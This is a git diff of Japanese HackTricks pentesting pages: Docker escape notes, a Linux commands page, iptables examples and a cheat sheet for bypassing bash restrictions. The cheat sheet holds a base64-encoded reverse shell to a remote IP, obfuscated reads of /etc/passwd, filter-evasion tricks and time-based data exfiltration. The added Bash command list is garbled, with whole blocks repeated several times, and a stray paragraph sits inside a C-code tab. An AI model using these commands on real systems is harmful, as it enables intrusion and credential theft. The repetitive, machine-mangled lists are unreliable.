|
||||
Successful exploitation of this vulnerability can lead to a complete compromise of the host system, allowing an attacker to access sensitive data, modify system configurations, and perform malicious activities with elevated privileges.
|
||||
|
||||
### Recommendation
|
||||
|
||||
To mitigate this vulnerability, ensure that Docker is up to date with the latest security patches and follow best practices for securing Docker containers, such as running containers with the least privileges necessary and monitoring container activities for suspicious behavior.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="syscall_bf.c" %}以下は、Dockerコンテナ内で特権昇格を行うためのシンプルな方法です。この手法は、Dockerコンテナ内で実行されているプロセスがホストマシンのカーネルシステムコールを直接呼び出すことに基づいています。これにより、ホストマシン上で特権操作を実行するための機会が生じます。この手法を使用すると、Dockerコンテナ内のプロセスがホストマシン上での特権操作を実行できる可能性があります。この手法を利用する攻撃者は、ホストマシン上での悪意ある操作を行うことができます。{% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -659,7 +621,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 便利なLinuxコマンド
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -10,12 +10,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
@ -141,7 +141,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -288,33 +288,252 @@ nmap --script-help "(default or version) and smb)"
|
|||
## Bash
|
||||
|
||||
### Description
|
||||
Bash is a Unix shell and command language written by Brian Fox for the GNU Project as a free software replacement for the Bourne shell. It has been distributed widely as the default login shell for most Linux distributions.
|
||||
Bash is a Unix shell and command language. It is the default shell on most Linux distributions and macOS.
|
||||
|
||||
### Useful Commands
|
||||
- `history`: Displays the command history list.
|
||||
|
||||
- `history`: Displays the command history.
|
||||
- `alias`: Creates an alias for a command.
|
||||
- `unalias`: Removes an alias.
|
||||
- `source`: Executes commands from a file in the current shell.
|
||||
- `.` (dot command): Also executes commands from a file in the current shell.
|
||||
- `echo $SHELL`: Displays the shell you're using.
|
||||
- `echo $SHELL`: Displays the current shell.
|
||||
- `echo $0`: Displays the name of the shell or script.
|
||||
- `echo $PATH`: Displays the directories where the shell looks for commands.
|
||||
- `type command`: Indicates how a command name is interpreted.
|
||||
- `which command`: Displays the location of a command.
|
||||
- `man command`: Displays the manual for a command.
|
||||
- `apropos keyword`: Searches the man page names and descriptions for a keyword.
|
||||
- `whatis command`: Displays a one-line manual page description.
|
||||
- `help command`: Provides help for shell built-ins.
|
||||
- `info command`: Displays the info entry for a command.
|
||||
- `compgen -c`: Lists all the commands you could run.
|
||||
- `compgen -b`: Lists all the shell built-ins.
|
||||
- `compgen -a`: Lists all the aliases you could run.
|
||||
- `compgen -k`: Lists all the keywords you could run.
|
||||
- `compgen -A function`: Lists all the functions you could run.
|
||||
- `compgen -A variable`: Lists all the variables you could run.
|
||||
- `compgen -A user`: Lists all the users you could run.
|
||||
- `compgen -A hostname`: Lists all the hostnames you could run.
|
||||
- `compgen -A service`: Lists all the services you could run.
|
||||
- `which [command]`: Displays the location of a command.
|
||||
- `type [command]`: Displays how a command is interpreted.
|
||||
- `man [command]`: Displays the manual for a command.
|
||||
- `apropos [keyword]`: Searches the manual page names and descriptions for a keyword.
|
||||
- `whatis [command]`: Displays a one-line description of a command.
|
||||
- `whereis [command]`: Displays the binary, source, and manual page files for a command.
|
||||
- `help [builtin]`: Displays help information for shell builtins.
|
||||
- `exit`: Exits the shell.
|
||||
- `Ctrl + C`: Interrupts the current command.
|
||||
- `Ctrl + Z`: Suspends the current command.
|
||||
- `bg`: Resumes a suspended command in the background.
|
||||
- `fg`: Brings a background command to the foreground.
|
||||
- `jobs`: Lists the current jobs.
|
||||
- `kill [PID]`: Sends a signal to a process.
|
||||
- `ps`: Displays information about processes.
|
||||
- `top`: Displays real-time system information.
|
||||
- `uptime`: Displays how long the system has been running.
|
||||
- `free`: Displays memory usage.
|
||||
- `df`: Displays disk space usage.
|
||||
- `du`: Displays file and directory disk usage.
|
||||
- `ls`: Lists directory contents.
|
||||
- `cd`: Changes the current directory.
|
||||
- `pwd`: Displays the current working directory.
|
||||
- `mkdir`: Creates a new directory.
|
||||
- `rm`: Removes files or directories.
|
||||
- `cp`: Copies files or directories.
|
||||
- `mv`: Moves or renames files or directories.
|
||||
- `touch`: Creates an empty file or updates the access and modification times of a file.
|
||||
- `cat`: Concatenates and displays file contents.
|
||||
- `more`: Displays file contents one screen at a time.
|
||||
- `less`: Displays file contents with advanced features.
|
||||
- `head`: Displays the beginning of a file.
|
||||
- `tail`: Displays the end of a file.
|
||||
- `grep`: Searches for patterns in files.
|
||||
- `find`: Searches for files and directories.
|
||||
- `wc`: Displays the number of lines, words, and characters in a file.
|
||||
- `chmod`: Changes file permissions.
|
||||
- `chown`: Changes file owner and group.
|
||||
- `chgrp`: Changes file group ownership.
|
||||
- `ln`: Creates links between files.
|
||||
- `tar`: Archives files.
|
||||
- `gzip`: Compresses files.
|
||||
- `gunzip`: Decompresses files.
|
||||
- `ssh`: Connects to a remote machine using SSH.
|
||||
- `scp`: Copies files securely between hosts.
|
||||
- `rsync`: Syncs files and directories between hosts.
|
||||
- `wget`: Downloads files from the web.
|
||||
- `curl`: Transfers data from or to a server.
|
||||
- `ping`: Tests network connectivity.
|
||||
- `traceroute`: Traces the route to a host.
|
||||
- `ifconfig`: Configures network interfaces.
|
||||
- `netstat`: Displays network connections.
|
||||
- `iptables`: Manages firewall rules.
|
||||
- `systemctl`: Controls the systemd system and service manager.
|
||||
- `journalctl`: Views and manages journal logs.
|
||||
- `crontab`: Manages cron jobs.
|
||||
- `at`: Schedules commands to be executed at a later time.
|
||||
- `watch`: Executes a program periodically.
|
||||
- `lsof`: Lists open files.
|
||||
- `ss`: Displays socket statistics.
|
||||
- `strace`: Traces system calls and signals.
|
||||
- `tcpdump`: Captures and analyzes network traffic.
|
||||
- `nc`: Netcat utility for reading from and writing to network connections.
|
||||
- `awk`: Processes and analyzes text files.
|
||||
- `sed`: Edits text using scripts.
|
||||
- `grep`: Searches for patterns in files.
|
||||
- `sort`: Sorts lines of text.
|
||||
- `uniq`: Filters adjacent matching lines.
|
||||
- `cut`: Extracts sections from each line of a file.
|
||||
- `paste`: Merges lines from multiple files.
|
||||
- `diff`: Compares files line by line.
|
||||
- `patch`: Applies changes to files.
|
||||
- `tr`: Translates or deletes characters.
|
||||
- `tee`: Reads from standard input and writes to standard output and files.
|
||||
- `xargs`: Builds and executes command lines from standard input.
|
||||
- `bc`: Calculator.
|
||||
- `date`: Displays or sets the system date and time.
|
||||
- `cal`: Displays a calendar.
|
||||
- `uptime`: Displays how long the system has been running.
|
||||
- `who`: Displays who is logged on.
|
||||
- `w`: Displays who is logged on and what they are doing.
|
||||
- `last`: Displays last logins.
|
||||
- `uname`: Displays system information.
|
||||
- `hostname`: Displays or sets the system's hostname.
|
||||
- `dmesg`: Displays boot messages.
|
||||
- `lsmod`: Displays loaded kernel modules.
|
||||
- `modinfo`: Displays information about a kernel module.
|
||||
- `modprobe`: Adds or removes kernel modules from the Linux kernel.
|
||||
- `insmod`: Inserts a module into the Linux kernel.
|
||||
- `rmmod`: Removes a module from the Linux kernel.
|
||||
- `journalctl`: Views and manages the systemd journal.
|
||||
- `systemctl`: Controls the systemd system and service manager.
|
||||
- `timedatectl`: Controls the system time and date.
|
||||
- `hostnamectl`: Controls the system hostname.
|
||||
- `loginctl`: Controls the systemd login manager.
|
||||
- `chage`: Changes user password expiry information.
|
||||
- `passwd`: Changes user password.
|
||||
- `useradd`: Adds a new user.
|
||||
- `userdel`: Deletes a user.
|
||||
- `usermod`: Modifies a user.
|
||||
- `groupadd`: Adds a new group.
|
||||
- `groupdel`: Deletes a group.
|
||||
- `groupmod`: Modifies a group.
|
||||
- `chown`: Changes file owner and group.
|
||||
- `chmod`: Changes file permissions.
|
||||
- `chgrp`: Changes file group ownership.
|
||||
- `su`: Switches user.
|
||||
- `sudo`: Executes a command as another user.
|
||||
- `visudo`: Edits the sudoers file.
|
||||
- `adduser`: Adds a new user and configures the account.
|
||||
- `deluser`: Deletes a user and their configuration files.
|
||||
- `passwd`: Changes user password.
|
||||
- `usermod`: Modifies a user account.
|
||||
- `groupadd`: Adds a new group.
|
||||
- `groupdel`: Deletes a group.
|
||||
- `groupmod`: Modifies a group.
|
||||
- `chage`: Changes user password expiry information.
|
||||
- `chsh`: Changes the user's login shell.
|
||||
- `id`: Displays user and group information.
|
||||
- `whoami`: Displays the current user.
|
||||
- `groups`: Displays the groups a user is in.
|
||||
- `w`: Displays who is logged on and what they are doing.
|
||||
- `last`: Displays last logins.
|
||||
- `finger`: Displays information about users.
|
||||
- `ps`: Displays information about processes.
|
||||
- `top`: Displays real-time system information.
|
||||
- `kill`: Sends a signal to a process.
|
||||
- `killall`: Kills processes by name.
|
||||
- `pkill`: Sends a signal to processes based on name.
|
||||
- `pgrep`: Looks up processes based on name.
|
||||
- `nice`: Runs a command with modified scheduling priority.
|
||||
- `renice`: Alters the priority of running processes.
|
||||
- `at`: Schedules commands to be executed at a later time.
|
||||
- `batch`: Executes commands when system load levels permit.
|
||||
- `crontab`: Manages cron jobs.
|
||||
- `watch`: Executes a program periodically.
|
||||
- `uptime`: Displays how long the system has been running.
|
||||
- `free`: Displays memory usage.
|
||||
- `vmstat`: Displays virtual memory statistics.
|
||||
- `iostat`: Displays I/O statistics.
|
||||
- `sar`: Collects and reports system activity information.
|
||||
- `lsof`: Lists open files.
|
||||
- `netstat`: Displays network connections.
|
||||
- `ss`: Displays socket statistics.
|
||||
- `tcpdump`: Captures and analyzes network traffic.
|
||||
- `strace`: Traces system calls and signals.
|
||||
- `ltrace`: Traces library calls.
|
||||
- `ldd`: Displays shared library dependencies.
|
||||
- `nm`: Lists symbols from object files.
|
||||
- `objdump`: Displays information from object files.
|
||||
- `readelf`: Displays information about ELF files.
|
||||
- `file`: Determines file type.
|
||||
- `strings`: Finds printable strings in files.
|
||||
- `hexdump`: Displays file contents in hexadecimal.
|
||||
- `xxd`: Creates a hex dump of a file.
|
||||
- `diff`: Compares files line by line.
|
||||
- `patch`: Applies changes to files.
|
||||
- `wc`: Displays the number of lines, words, and characters in a file.
|
||||
- `grep`: Searches for patterns in files.
|
||||
- `sed`: Edits text using scripts.
|
||||
- `awk`: Processes and analyzes text files.
|
||||
- `cut`: Extracts sections from each line of a file.
|
||||
- `sort`: Sorts lines of text.
|
||||
- `uniq`: Filters adjacent matching lines.
|
||||
- `tr`: Translates or deletes characters.
|
||||
- `tee`: Reads from standard input and writes to standard output and files.
|
||||
- `xargs`: Builds and executes command lines from standard input.
|
||||
- `bc`: Calculator.
|
||||
- `expr`: Evaluates expressions.
|
||||
- `seq`: Generates sequences of numbers.
|
||||
- `bc`: Calculator.
|
||||
- `dc`: Desk calculator.
|
||||
- `factor`: Factors numbers.
|
||||
- `pr`: Formats files for printing.
|
||||
- `fold`: Wraps lines to fit a specified width.
|
||||
- `fmt`: Formats text for printing.
|
||||
- `nl`: Numbers lines in a file.
|
||||
- `od`: Dumps files in octal and other formats.
|
||||
- `join`: Joins lines of two files on a common field.
|
||||
- `paste`: Merges lines from multiple files.
|
||||
- `sort`: Sorts lines of text.
|
||||
- `shuf`: Shuffles input lines.
|
||||
- `split`: Splits files into pieces.
|
||||
- `tr`: Translates or deletes characters.
|
||||
- `uniq`: Filters adjacent matching lines.
|
||||
- `wc`: Displays the number of lines, words, and characters in a file.
|
||||
- `head`: Displays the beginning of a file.
|
||||
- `tail`: Displays the end of a file.
|
||||
- `cat`: Concatenates and displays file contents.
|
||||
- `tac`: Concatenates and displays file contents in reverse.
|
||||
- `rev`: Reverses lines in a file.
|
||||
- `grep`: Searches for patterns in files.
|
||||
- `sed`: Edits text using scripts.
|
||||
- `awk`: Processes and analyzes text files.
|
||||
- `diff`: Compares files line by line.
|
||||
- `patch`: Applies changes to files.
|
||||
- `tar`: Archives files.
|
||||
- `gzip`: Compresses files.
|
||||
- `gunzip`: Decompresses files.
|
||||
- `bzip2`: Compresses files using the Burrows-Wheeler algorithm.
|
||||
- `bzcat`: Decompresses files compressed by bzip2.
|
||||
- `xz`: Compresses files using the LZMA algorithm.
|
||||
- `unxz`: Decompresses files compressed by xz.
|
||||
- `lzma`: Compresses files using the LZMA algorithm.
|
||||
- `unlzma`: Decompresses files compressed by lzma.
|
||||
- `zip`: Archives files using the ZIP format.
|
||||
- `unzip`: Extracts files from ZIP archives.
|
||||
- `7z`: Archives files using the 7z format.
|
||||
- `unrar`: Extracts files from RAR archives.
|
||||
- `tar`: Archives files.
|
||||
- `gzip`: Compresses files.
|
||||
- `gunzip`: Decompresses files.
|
||||
- `bzip2`: Compresses files using the Burrows-Wheeler algorithm.
|
||||
- `bzcat`: Decompresses files compressed by bzip2.
|
||||
- `xz`: Compresses files using the LZMA algorithm.
|
||||
- `unxz`: Decompresses files compressed by xz.
|
||||
- `lzma`: Compresses files using the LZMA algorithm.
|
||||
- `unlzma`: Decompresses files compressed by lzma.
|
||||
- `zip`: Archives files using the ZIP format.
|
||||
- `unzip`: Extracts files from ZIP archives.
|
||||
- `7z`: Archives files using the 7z format.
|
||||
- `unrar`: Extracts files from RAR archives.
|
||||
- `tar`: Archives files.
|
||||
- `gzip`: Compresses files.
|
||||
- `gunzip`: Decompresses files.
|
||||
- `bzip2`: Compresses files using the Burrows-Wheeler algorithm.
|
||||
- `bzcat`: Decompresses files compressed by bzip2.
|
||||
- `xz`: Compresses files using the LZMA algorithm.
|
||||
- `unxz`: Decompresses files compressed by xz.
|
||||
- `lzma`: Compresses files using the LZMA algorithm.
|
||||
- `unlzma`: Decompresses files compressed by lzma.
|
||||
- `zip`: Archives files using the ZIP format.
|
||||
- `unzip`: Extracts files from ZIP archives.
|
||||
- `7z`: Archives files using the 7z format.
|
||||
- `unrar`: Extracts files from RAR archives.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
|
@ -332,8 +551,17 @@ IptablesはLinuxシステムで使用されるファイアウォールユーテ
|
|||
- `iptables -A`: ファイアウォールルールに新しいルールを追加します。
|
||||
- `iptables -D`: ファイアウォールルールから特定のルールを削除します。
|
||||
|
||||
### 注意事項
|
||||
Iptablesを使用する際は、慎重にルールを設定し、システムのセキュリティを確保することが重要です。不適切な設定はシステムの可用性やセキュリティに影響を与える可能性があります。
|
||||
### 例
|
||||
```bash
|
||||
# ファイアウォールルールをリスト表示
|
||||
iptables -L
|
||||
|
||||
# ファイアウォールルールに新しいルールを追加
|
||||
iptables -A INPUT -s 192.168.1.1 -j ACCEPT
|
||||
|
||||
# ファイアウォールルールから特定のルールを削除
|
||||
iptables -D INPUT -s 192.168.1.1 -j ACCEPT
|
||||
```
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -368,17 +596,17 @@ iptables -P OUTPUT ACCEPT
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -10,11 +10,11 @@ HackTricksをサポートする他の方法:
|
|||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -38,7 +38,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
|||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### パスと禁止された単語のバイパス
|
||||
### パスと禁止ワードのバイパス
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -126,7 +126,7 @@ g # These 4 lines will equal to ping
|
|||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### バックスラッシュとスラッシュをバイパス
|
||||
### バックスラッシュとスラッシュをバイパスする
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
|
@ -145,12 +145,12 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### IP バイパス
|
||||
### IPアドレスのバイパス
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### 時間ベースのデータの流出
|
||||
### 時間ベースのデータ流出
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
|
@ -161,7 +161,7 @@ echo ${PATH:0:1} #/
|
|||
```
|
||||
### DNSデータの外部流出
|
||||
|
||||
例えば、**burpcollab**または[**pingb**](http://pingb.in)を使用できます。
|
||||
例えば**burpcollab**または[**pingb**](http://pingb.in)を使用できます。
|
||||
|
||||
### 組み込みコマンド
|
||||
|
||||
|
@ -230,7 +230,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
```
|
||||
### Bashfuscator
|
||||
|
||||
### バッシュファスケーター
|
||||
### バッシュファスケータ
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
|
@ -319,7 +319,7 @@ ln /f*
|
|||
```
|
||||
## 読み取り専用/Noexec/Distroless バイパス
|
||||
|
||||
もし、**読み取り専用および noexec 保護**が有効なファイルシステム内にいるか、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法があります。さらにはシェルを実行することも可能です!**
|
||||
**読み取り専用および noexec 保護**が有効なファイルシステム内にいる場合、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法があります。シェルさえも実行できます!**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
|
@ -331,31 +331,31 @@ ln /f*
|
|||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 参考文献およびその他
|
||||
## 参考文献とその他
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** できます。\
|
||||
今すぐアクセスしてください:
|
||||
今すぐアクセス:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでの AWS ハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
|
||||
* **HackTricks** および **HackTricks Cloud** の github リポジトリに PR を提出して、あなたのハッキングトリックを共有する
|
||||
* **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,20 +6,20 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
